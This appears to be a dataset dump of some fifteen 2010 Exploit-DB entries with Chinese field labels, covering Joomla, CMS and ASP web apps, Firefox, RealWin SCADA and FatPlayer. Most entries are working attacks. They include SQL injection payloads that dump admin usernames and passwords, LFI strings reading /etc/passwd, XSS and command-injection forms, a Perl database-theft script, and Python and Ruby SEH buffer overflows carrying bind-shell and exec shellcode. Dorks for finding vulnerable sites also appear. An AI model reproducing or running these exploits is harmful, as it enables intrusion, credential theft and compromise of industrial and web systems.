QLWD/code_shield huggingface dataset:
标题: Joomla! Component Pulse Infotech Flip Wall - SQL Injection EDB-ID: 15366 CVE: 2010-4268 类型: WEBAPPS 平台: PHP 发布日期: 2010-10-31 漏洞利用脚本: =========================================================
Joomla Component com_flipwall SQL Injection Vulnerability       
=========================================================

# Author        : Fl0riX ~ Bug Researchers

# Name : Joomla com_flipwall

# Bug Type : SQL injection

# Dork: "com_flipwall"

# Infection : Admin Login Bilgileri Alinabilir.

# Demo Vuln :
[+]http://0611.info/index.php?option=com_flipwall&controller=flipwall&catid=[EXPLOIT]

[+] Vendor:http://www.pulseextensions.com/

# Note: AsDemo Sitede Filtre Var Haberiniz olsun :)

# Bug Fix Advice : Zararli Karak terler Filtrenmelidir.
#############################################################
< ------------------- header data end of ------------------- >
< -- bug code start -- >
EXPLOIT :
null+union+select+1,2,3,4,5,concat(username,0x3a,password)fl0rix,7,8,9,10+from+jos_users--
< -- bug code end of -- > URL: https://www.exploit-db.com/exploits/15366
标题: ACC IMoveis 4.0 - SQL Injection EDB-ID: 15338 CVE: 2010-4273 类型: WEBAPPS 平台: PHP 发布日期: 2010-10-27 漏洞利用脚本: # Exploit Title : iMoveis SQL Injection Vulnerability
# Date : 26/10/2010
# Author : EraGoN
# Software link : http://baixar7.com/download/acc-imoveis-script-php.rar/3d1e7bf4b9
# Version : 1.1
# Tested on : Linux / Windows XP


# Dork :

inurl:imoveis.php?id=

#Error

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server

version for the right syntax to use near '20'' at line 1

#Vuln :

http://www.site.org/imoveis.php?id=20


**Proud to be Muslim
**Proud to be Albanian
**www.eragon.ws

Contact : eragon@legends.ag


[ Special Thanks : KuBaNeZi , DJ-DUKLI , The|Denny` , Loock3D , BaDBoY ]
[ Visit / Greetz : ALBANIAN-LEGENDS.COM Members - www.eragon.ws - www.uah1.org.uk ] URL: https://www.exploit-db.com/exploits/15338
标题: Mozilla Firefox - Simplified Memory Corruption (PoC) EDB-ID: 15342 CVE: 2010-3765 类型: DOS 平台: MULTIPLE 发布日期: 2010-10-28 漏洞利用脚本: Hi there,

For those who still do not know .. The proof of concept (that I have
extracted) for CVE-2010-3765 is the following:

<html><body>
<script>

  function G(str){
    var cobj=document.createElement(str);
    document.body.appendChild(cobj);
    cobj.scrollWidth;
  }

  function crashme() {
    document.write("fooFOO");
    G("a");
    document.write("<a lang></a>a");
    G("base");
    document.write("barBAR");
    G("audio");
  }
</script>
<script>crashme();</script>
</body>
</html>

For more details:
http://extraexploit.blogspot.com/2010/10/cve-2010-3765-proof-of-concept.html
-- 
http://extraexploit.blogspot.com URL: https://www.exploit-db.com/exploits/15342
标题: DATAC RealWin SCADA Server 1.06 - Remote Buffer Overflow EDB-ID: 15337 CVE: 2010-4142 类型: REMOTE 平台: WINDOWS 发布日期: 2010-10-27 漏洞利用脚本: # Exploit Title: RealWin SCADA System SEH Overwrite
# Date: 10-27-10
# Author: Blake
# Software Link: http://www.realflex.com/products/realwin/realwin.php
# Version: 1.06
# Tested on: Windows XP SP3 running in VMware Workstation (rfx)

import socket, sys

if len(sys.argv)!= 3:
    print "\n[*] Usage: %s <ip> <port>\n" % sys.argv[0]
    sys.exit(0)
 
host = sys.argv[1]
port = int(sys.argv[2])     # port 912 by default

# windows/shell_bind_tcp - 368 bytes Encoder: x86/shikata_ga_nai
# LPORT=4444, 
shellcode =(
"\xba\xe7\x26\x3b\xa1\x33\xc9\xb1\x56\xdb\xce\xd9\x74\x24\xf4"
"\x5d\x83\xc5\x04\x31\x55\x0b\x03\x55\xec\xc4\xce\x5d\x1a\x81"
"\x31\x9e\xda\xf2\xb8\x7b\xeb\x20\xde\x08\x59\xf5\x94\x5d\x51"
"\x7e\xf8\x75\xe2\xf2\xd5\x7a\x43\xb8\x03\xb4\x54\x0c\x8c\x1a"
"\x96\x0e\x70\x61\xca\xf0\x49\xaa\x1f\xf0\x8e\xd7\xef\xa0\x47"
"\x93\x5d\x55\xe3\xe1\x5d\x54\x23\x6e\xdd\x2e\x46\xb1\xa9\x84"
"\x49\xe2\x01\x92\x02\x1a\x2a\xfc\xb2\x1b\xff\x1e\x8e\x52\x74"
"\xd4\x64\x65\x5c\x24\x84\x57\xa0\xeb\xbb\x57\x2d\xf5\xfc\x50"
"\xcd\x80\xf6\xa2\x70\x93\xcc\xd9\xae\x16\xd1\x7a\x25\x80\x31"
"\x7a\xea\x57\xb1\x70\x47\x13\x9d\x94\x56\xf0\x95\xa1\xd3\xf7"
"\x79\x20\xa7\xd3\x5d\x68\x7c\x7d\xc7\xd4\xd3\x82\x17\xb0\x8c"
"\x26\x53\x53\xd9\x51\x3e\x3c\x2e\x6c\xc1\xbc\x38\xe7\xb2\x8e"
"\xe7\x53\x5d\xa3\x60\x7a\x9a\xc4\x5b\x3a\x34\x3b\x63\x3b\x1c"
"\xf8\x37\x6b\x36\x29\x37\xe0\xc6\xd6\xe2\xa7\x96\x78\x5c\x08"
"\x47\x39\x0c\xe0\x8d\xb6\x73\x10\xae\x1c\x02\x16\x60\x44\x47"
"\xf1\x81\x7a\x76\x5d\x0f\x9c\x12\x4d\x59\x36\x8a\xaf\xbe\x8f"
"\x2d\xcf\x94\xa3\xe6\x47\xa0\xad\x30\x67\x31\xf8\x13\xc4\x99"
"\x6b\xe7\x06\x1e\x8d\xf8\x02\x36\xc4\xc1\xc5\xcc\xb8\x80\x74"
"\xd0\x90\x72\x14\x43\x7f\x82\x53\x78\x28\xd5\x34\x4e\x21\xb3"
"\xa8\xe9\x9b\xa1\x30\x6f\xe3\x61\xef\x4c\xea\x68\x62\xe8\xc8"
"\x7a\xba\xf1\x54\x2e\x12\xa4\x02\x98\xd4\x1e\xe5\x72\x8f\xcd"
"\xaf\x12\x56\x3e\x70\x64\x57\x6b\x06\x88\xe6\xc2\x5f\xb7\xc7"
"\x82\x57\xc0\x35\x33\x97\x1b\xfe\x43\xd2\x01\x57\xcc\xbb\xd0"
"\xe5\x91\x3b\x0f\x29\xac\xbf\xa5\xd2\x4b\xdf\xcc\xd7\x10\x67"
"\x3d\xaa\x09\x02\x41\x19\x29\x07")


head = "\x64\x12\x54\x6A\x20\x00\x00\x00\xF4\x1F\x00\x00"
junk = "\x41" * 228
next_seh = "\xeb\x06\x90\x90" # overwrites next seh
seh = "\xea\xe3\x02\x40"   # seh overwritten at 232 bytes - 4002e3ea
nops = "\x90" * 20    # nop sled
junk2 = "\x42" * (7972 - len(shellcode)) # 1740 bytes for shellcode

print "\n====================================" 
print "DATAC RealWin 1.06 Buffer Overflow"
print "Written by Blake"
print "Discovered by Luigi Auriemma"
print "Tested on Windows XP SP3"
print "====================================\n"
 
print "[*] Connecting to %s on port %d" % (host,port)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
    s.connect((host,port))
except:
    print "[x] Error establishing connection\n"
    sys.exit(0)
 
print "[*] Sending payload"
s.send(head + junk + next_seh + seh + nops + shellcode + junk2 + "\r\n")
s.close()
print "[*] Payload sent"
raw_input("[*] Press any key to exit...\n") URL: https://www.exploit-db.com/exploits/15337
标题: Mozilla Firefox - Interleaving 'document.write' / 'appendChild' Denial of Service EDB-ID: 15341 CVE: 2010-3765 类型: DOS 平台: MULTIPLE 发布日期: 2010-10-28 漏洞利用脚本: Source: https://bugzilla.mozilla.org/show_bug.cgi?id=607222 
<html><body> 
 <script> 
  function getatts(str){
    var cobj=document.createElement(str);
    cobj.id="testcase";
    document.body.appendChild(cobj);
    var obj=document.getElementById("testcase");
    var atts = new Array(); 
    for(p in obj){
      if(typeof(obj[p])=="string"){
        atts.push(p);
      }
    }   
    document.body.removeChild(cobj);
    return atts;
  }
 
  function crashme() {
    var tags = new Array("audio", "a", "base");
    for (inx = 0; inx < 0x8964; inx++) {
        for (i = 0; i < tags.length; i++) {
            var atts = getatts(tags[i]);
            for (j = 0; j < atts.length; j++) {
                var html = "<" + tags[i] + " " + atts[j] + "=a></" + tags[i] +
                           ">" + tags[i];
                document.write(html);
            }
        }
    }
  }
</script> 
<button onclick="crashme();">Crash Me!</button> 
</body></html> URL: https://www.exploit-db.com/exploits/15341
标题: BloofoxCMS Registration Plugin - SQL Injection EDB-ID: 15328 CVE: 2010-4870 类型: WEBAPPS 平台: PHP 发布日期: 2010-10-27 漏洞利用脚本: Vulnerability ID: HTB22658
Reference: http://www.htbridge.ch/advisory/sql_injection_in_bloofoxcms_registration_plugin.html
Product: BloofoxCMS 
Vendor: bloofox.com ( http://bloofox.com/ ) 
Vulnerable Version: 0.3.5 and probably prior versions 
Vendor Notification: 13 October 2010 
Vulnerability Type: SQL Injection
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: High 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) 

Vulnerability Details:
The vulnerability exists due to failure in the "/index.php" script to properly sanitize user-supplied input in gender variable.

The following PoC is available:


<form action="http://host/index.php?page=8" method="post">
<input type="hidden" name="un" value="testuser">
<input type="hidden" name="pwd" value="123456">
<input type="hidden" name="pwd2" value="123456">
<input type="hidden" name="em" value="email@email.com">
<input type="hidden" name="gender" value="'SQL_CODE_HERE">
<input name="send" value="Register & Create Account" type="submit">
</form> URL: https://www.exploit-db.com/exploits/15328
标题: Alstrasoft e-Friends 4.96 - Multiple Vulnerabilities EDB-ID: 15335 CVE: 2008-5751 类型: WEBAPPS 平台: PHP 发布日期: 2010-10-27 漏洞利用脚本: AlstraSoft E-Friends 4.96 Multiple Remote Vulnerabilities

 Name              AlstraSoft E-Friends
 Vendor            http://www.alstrasoft.com
 Versions Affected 4.96

 Author            Salvatore Fresta aka Drosophila
 Website           http://www.salvatorefresta.net
 Contact           salvatorefresta [at] gmail [dot] com
 Date              2010-10-27

X. INDEX

 I.    ABOUT THE APPLICATION
 II.   DESCRIPTION
 III.  ANALYSIS
 IV.   SAMPLE CODE
 V.    FIX
 

I. ABOUT THE APPLICATION
________________________

AlstraSoft  E-Friends  is  an  online  social  networking
software that allows you to start your own site just like
Friendster and MySpace.

Other versions could be vulnerable.


II. DESCRIPTION
_______________

Many parameters are not properly sanitised  before  being
used in SQL queries and from the PHP's upload functions.


III. ANALYSIS
_____________

Summary:

 A) Arbitrary File Upload
 B) Multiple Local File Inclusion
 C) Multiple SQL Injection
 

A) Arbitrary File Upload
________________________

An error in the tribe.php script allows  upload  of files
with  arbitrary  extensions to  a  folder  inside the web
root when "act"  is  set  to "show"  and  "trb_id" is set
to a valid group identification value. The uploaded files 
will be copied  into  the  "groups/group_name" directory,
where  group_name  can  be  obtained  from the vulnerable
page. This   can   be   exploited  to  execute  arbitrary
PHP code by uploading a PHP file.

Example:

If the vulnerable page is the following:

index.php?mode=tribe&act=show&trb_id=103

and  the  group_name  associated to trb_id 103 is "prcd",
then  the  malicious  file under the array $_FILE['file']
will be copied into the groups/prcd directory.


B) Multiple Local File Inclusion
________________________________

Input passed to the "lang"  parameter in  updatePage.php,
getStartOptions.php is not properly verified before being
used to include files. This can be  exploited  to include
arbitrary  files  from  local  resources   via  directory 
traversal  attacks  and URL-encoded NULL bytes.

Successful exploitation requires that register_globlas is
set to On.

It  is  very probable that other PHP files are vulnerable
to local file inclusion vulnerability.


C) Multiple SQL Injection
_________________________

The  parameters taken  from  the cookies are not properly
sanitised before being used in SQL queries. This  can  be
exploited  to  manipulate   SQL   queries   by  injecting
arbitrary SQL code.

Some parameters are taken from the  classic  $_POST/$_GET
array and are not properly sanitised before being used in
other SQL queries.

Successful exploitation requires that magic_quotes_gpc is
set to Off.


IV. SAMPLE CODE
_______________

B) Multiple Local File Inclusion

http://site/path/chat/updatePage.php?lang=../../../../../../../../../etc/passwd%00
http://site/path/chat/getStartOptions.php?lang=../../../../../../../../../etc/passwd%00


V. FIX
______

No fix. URL: https://www.exploit-db.com/exploits/15335
标题: NinkoBB 1.3RC5 - Cross-Site Scripting EDB-ID: 15330 CVE: 2010-4874 类型: WEBAPPS 平台: PHP 发布日期: 2010-10-27 漏洞利用脚本: Vulnerability ID: HTB22652
Reference: http://www.htbridge.ch/advisory/xss_in_ninkobb.html
Product: NinkoBB 
Vendor: NinkoBB  ( http://ninkobb.com ) 
Vulnerable Version: 1.3RC5 and probably prior versions 
Vendor Notification: 13 October 2010 
Vulnerability Type: XSS (Cross Site Scripting)
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: Medium 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) 

Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the "users.php" script to properly sanitize user-supplied input in "msn","aim","first_name" and "last_name" variables. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is available:


<form action="http://host/users.php?a=profile" method="post" />
<input type="hidden" name="first_name" value=""><script>alert('XSS1');</script>">
<input type="hidden" name="last_name" value=""><script>alert('XSS2');</script>">
<input type="hidden" name="msn" value=""><script>alert('XSS3');</script>">
<input type="hidden" name="aim" value=""><script>alert('XSS4');</script>">
<input type="submit" name="profile" value="submit">
</form> URL: https://www.exploit-db.com/exploits/15330
标题: Energine CMS - SQL Injection EDB-ID: 15327 CVE: 2010-4185 类型: WEBAPPS 平台: PHP 发布日期: 2010-10-27 漏洞利用脚本: Vulnerability ID: HTB22655
Reference: http://www.htbridge.ch/advisory/sql_injection_in_energine.html
Product: Energine 
Vendor: Energine  ( http://energine.org/ ) 
Vulnerable Version: 
Vendor Notification: 13 October 2010 
Vulnerability Type: SQL Injection
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: High 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) 

Vulnerability Details:
The vulnerability exists due to failure in the "/index.php" script to properly sanitize user-supplied input in NRGNSID variable from cookie.
Attacker can alter queries to the application SQL database, execute arbitrary queries to the database, compromise the application, access or modify sensitive data, or exploit various vulnerabilities in the underlying SQL database.

The following PoC is available:


Cookie: NRGNSID='SQL_CODE_HERE URL: https://www.exploit-db.com/exploits/15327
标题: NitroSecurity ESM 8.4.0a - Remote Code Execution EDB-ID: 15318 CVE: 2010-4099 类型: REMOTE 平台: LINUX 发布日期: 2010-10-26 漏洞利用脚本: -- Product description:
NitroView ESM is an enterprise-class security information and event
management system that identifies, correlates, and remediates threats
faster than any other SIEM on the market.

-- Problem Description:
During research it was found that perl module "ess.pm" is prone to
remote code execution vulnerability due to lack of user input
validation.

-- Research Environment:
The vulnerability was found and tested on ESM 8.4.0a (NitroSecurity
2.6.22.19-24nssmp64 GNU/Linux).

-- Requirements:
During the research "ESSPMDebug=1" option in
"/usr/local/ess/CPConsoleServer.cfg" was required. No authentication
in NitroSecurity ESM was required to successfuly conduct the attack.

-- Technical Details:
Because of the "system()" call in "ess.pm" module it's possible to
send specially crafted request to NitroSecurity ESM web interface,
which results in remote command execution. It's necessery to change
IFS (Internal Field Separator) to exploit this vulnerability. Probably
other methods also would work.

-- Proof Of Concept:
The following code was successfuly executed in testing environment
(remember to change x.x.x.x to your NitroSecurity ESM IP address for
testing purposes only):

-- cut --
<html>
<pre>

[*] Tested on v8.4.0a "NitroSecurity 2.6.22.19-24nssmp64 GNU/Linux"
[*] No authentication required
[*] "ESSPMDebug=1" in "/usr/local/ess/CPConsoleServer.cfg" required

</pre>
<form action="https://x.x.x.x/ess"; method="POST">
<input type="text" name="Request" value="A';c='uname:-a';IFS=:;$c>>/tmp/test;'"
<input type="hidden" name="debug" value="1">
<input type="submit" value="Oops()">
</form>
</html>
-- cut --

-- Impact:
Remote code execution in the context of the user running web server.

-- CVSS:
9, (AV:N/AC:L/Au:N/C:P/I:P/A:C)

-- Disclosure timeline:
20100922: initial contact with vendor
20100922: vendor response
20100923: detailed information about vulnerability and PoC sent to vendor
20100923: vulnerability confirmed by vendor
20101008: patch released by vendor
20101025: security advisory released

-- Credits:
This bug was found by s_n ;-p

-- Greetz
K&I, #dragonfly URL: https://www.exploit-db.com/exploits/15318
标题: DBHcms 1.1.4 - 'dbhcms_pid' SQL Injection EDB-ID: 15309 CVE: 2010-4869 类型: WEBAPPS 平台: PHP 发布日期: 2010-10-24 漏洞利用脚本: DBHcms 1.1.4 SQL Injection Vulnerability

# Exploit Title:    DBHcms 1.1.4 SQL Injection Vulnerability
# Date: 24-10-2010 
# Author: ZonTa
# Mail: zontahackers[at]gmail[dot]com 
# IM : zontahackers[at]live[dot]com

# Software Link:    http://www.drbenhur.com/downloads-dbhcms-114-1-69-en.html
# Version: 1.1.4
# Tested on: Apache,PHP5


ABOUT
--------------

The DBHcms is a Open Source content management system for personal
and small business websites. It is search engine optimized, also
for multiple languages simultaneously by allowing the search engine
bot to index every single page.


POC
--------------

http://192.168.1.100/DBHcms/index.php?dbhcms_pid=-81&editmenu=-2+union+select+1,2,3,4,5,6,group_concat(user_login,0x3a,user_passwd),8,9,10,11,12,13,14+from+dbhcms_cms_users--


FIX
--------------

Not yet released.


Greetz to Sri Lankanz ~ URL: https://www.exploit-db.com/exploits/15309
标题: phpCheckZ 1.1.0 - Blind SQL Injection EDB-ID: 15284 CVE: 2010-4143 类型: WEBAPPS 平台: PHP 发布日期: 2010-10-19 漏洞利用脚本: phpCheckZ 1.1.0 Blind SQL Injection Vulnerability

 Name              phpCheckZ
 Vendor            http://www.phpcheckz.com
 Versions Affected 1.1.0

 Author            Salvatore Fresta aka Drosophila
 Website           http://www.salvatorefresta.net
 Contact           salvatorefresta [at] gmail [dot] com
 Date              2010-10-19

X. INDEX

 I.    ABOUT THE APPLICATION
 II.   DESCRIPTION
 III.  ANALYSIS
 IV.   SAMPLE CODE
 V.    FIX
 

I. ABOUT THE APPLICATION
________________________

phpCheckZ is a web application that allows you to  easily
create checklists for your website. 


II. DESCRIPTION
_______________

A parameter is not properly sanitised  before  being used
in a SQL query.


III. ANALYSIS
_____________

Summary:

 A) Blind SQL Injection
 

A) Blind SQL Injection
______________________

The parameters id in chart.php is  not properly sanitised
before being used in a SQL  query. This  can be exploited
to manipulate SQL queries by injecting arbitrary SQL code.

Successful exploitation  requires that "magic_quotes_gpc"
is disabled. 


IV. SAMPLE CODE
_______________

A) Blind SQL Injection

http://site/path/chart.php?id=1' AND '1'='1
http://site/path/chart.php?id=1' AND '1'='0


V. FIX
______

No fix. URL: https://www.exploit-db.com/exploits/15284
标题: Kisisel Radyo Script - Multiple Vulnerabilities EDB-ID: 15270 CVE: 2010-4145 2010-4144 类型: WEBAPPS 平台: ASP 发布日期: 2010-10-17 漏洞利用脚本: Kisisel Radyo Script - Multiple Vulnerabilities
############################################
Author: FuRty
Contact : fir4t@fir4t.org
Thanks: RedGuard, KnocKout, TrSniper and all Justic3 Group
############################################
Script : Kisisel Radyo Script
Version : N/A
Download : http://www.aspindir.com
###########################################
SQL Injection Vulnerable in radyo.asp
#################################### 
                 id = Request.QueryString("id")
   
   Set baglanti = Server.CreateObject("Adodb.Connection")
   baglanti.Open "Provider=Microsoft.Jet.Oledb.4.0;Data Source=" & Server.MapPath(""&veriyolu&"")
   
set rsust=Server.CreateObject("ADODB.RecordSet")
sql = "Select * from sayfa WHERE id="&id&""
############################################
http://VICTIM/path/radyo.asp?Id=2 and 1=1 [True]
http://VICTIM/path/radyo.asp?Id=2 and 1=0 [False]
http://VICTIM/path/radyo.asp?Id=2%20union%20select%200,1,adminsifre%20from%20siteayar%20where%20id=1 
##############################################         
   Remote Database Disclosure Exploit
##############################################
#!/usr/bin/perl -w
#
# Kisisel Radyo Script Remote Database Disclosure Exploit
# Coded: FuRty
# Thanks: RedGuard, KnocKout, TrSniper and all Justic3 Group
# Contact : fir4t@fir4t.org
# Demo: http://www.kardeslermarble.com/radyo/
 
 
 
use LWP::Simple;
use LWP::UserAgent;

system('cls');
system('title Kisisel Radyo Script Remote Database Disclosure Exploit by FuRty');
system('color 4');


if(@ARGV < 2)
{
print "[-]Ornegi inceleyin\n\n";
&help; exit();
}
sub help()
{
print "[+] usage1 : perl $0 site.com /path/ \n";
print "[+] usage2 : perl $0 localhost / \n";
}

print "\n************************************************************************\n";
print "\* Kisisel Radyo Script Remote Database Disclosure Exploit              *\n";
print "\* Exploited By : FuRty                                                 *\n";
print "\* msn :   fir4t@fir4t.org                                              *\n";
print "\* Thanks: RedGuard,KnocKout, TrSniper and All Justic3 Group                      *\n";
print "\*********************************************************************\n\n\n";

($TargetIP, $path, $File,) = @ARGV;

$File="sevvo/eco23.mdb";
my $url = "http://" . $TargetIP . $path . $File;
print "\n wait!!! \n\n";

my $useragent = LWP::UserAgent->new();
my $request = $useragent->get($url,":content_file" => "C:/db.mdb");

if ($request->is_success)
{
print "[+] $url Exploited!\n\n";
print "[+] Database saved to C:/db.mdb\n";
exit();
}
else
{
print "[!] Exploiting $url Failed !\n[!] ".$request->status_line."\n";
exit();
} URL: https://www.exploit-db.com/exploits/15270
标题: Fat Player 0.6b - '.wav' Local Buffer Overflow (SEH) EDB-ID: 15279 CVE: 2009-4962 类型: LOCAL 平台: WINDOWS 发布日期: 2010-10-18 漏洞利用脚本: # Exploit Title: FatPlayer 0.6b Malicious WAV Buffer Overflow Vulnerability (SEH)
# Date: 10/18/10
# Author: james [AT] learnsecurityonline [DOT] com
# Software Link: http://sourceforge.net/projects/fatplayer/files/
# Version: 0.6 Beta
# Tested on: Windows XP SP3 EN
# CVE: N/A

#! /usr/bin/env ruby

junk = "\x41" * 4132

nSEH = "\x90\x90\xeb\x06"

SEH = [0x0046bee3].pack('V') #pop pop ret from FatPlayer.exe

junk2 = "\x42\x42"

# windows/exec - 144 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# EXITFUNC=seh, CMD=calc
payload =  "\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc"
payload << "\xd9\x74\x24\xf4\xb1\x1e\x58\x31\x78"
payload << "\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85"
payload << "\x30\x78\xbc\x65\xc9\x78\xb6\x23\xf5"
payload << "\xf3\xb4\xae\x7d\x02\xaa\x3a\x32\x1c"
payload << "\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21"
payload << "\xe7\x96\x60\xf5\x71\xca\x06\x35\xf5"
payload << "\x14\xc7\x7c\xfb\x1b\x05\x6b\xf0\x27"
payload << "\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3"
payload << "\xf7\x3b\x7a\xcf\x4c\x4f\x23\xd3\x53"
payload << "\xa4\x57\xf7\xd8\x3b\x83\x8e\x83\x1f"
payload << "\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6"
payload << "\xf5\xc1\x7e\x98\xf5\xaa\xf1\x05\xa8"
payload << "\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61"
payload << "\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f"
payload << "\x59\x90\x7b\xd7\x05\x7f\xe8\x7b\xca"


File.open("crash.wav", 'w') do |b|
 b.write junk + nSEH + SEH + junk2 + payload
end URL: https://www.exploit-db.com/exploits/15279